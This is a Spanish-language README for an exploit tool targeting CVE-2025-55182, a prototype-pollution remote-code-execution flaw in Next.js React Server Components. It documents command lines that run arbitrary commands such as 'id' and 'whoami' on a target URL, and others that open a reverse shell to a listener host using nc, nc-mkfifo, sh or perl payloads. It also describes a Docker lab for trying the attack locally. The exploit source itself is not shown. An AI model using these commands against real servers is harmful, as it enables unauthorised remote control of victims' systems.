Exploit para CVE-2025-55182 que permite la ejecución remota de código mediante contaminación de prototipos en React Server Components de Next.js, con capacidades de ejecución de comandos y shell inversa.
Explota la CVE-2025-55182 para ejecución remota de código mediante contaminación de prototipos.
uv sync
source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"
python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo
-u, --url: URL/host a comprobar (obligatorio)-c, --cmd: Comando a ejecutar-r, --reverse: Habilita el modo de shell inversa-l, --lhost: Host del listener para la shell inversa-p, --lport: Puerto del listener para la shell inversa-P, --payload: Tipo de payload de shell inversa: nc, nc-mkfifo, sh, perl (por defecto: nc)--timeout: Tiempo de espera de la petición en segundos (por defecto: 10)# Execute command
python3 exploit.py -u https://example.com -c "whoami"
# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo
El directorio lab/ contiene una configuración Docker completa para probar el exploit.
cd lab
docker-compose up -d
Esto iniciará dos servicios:
# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"
# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo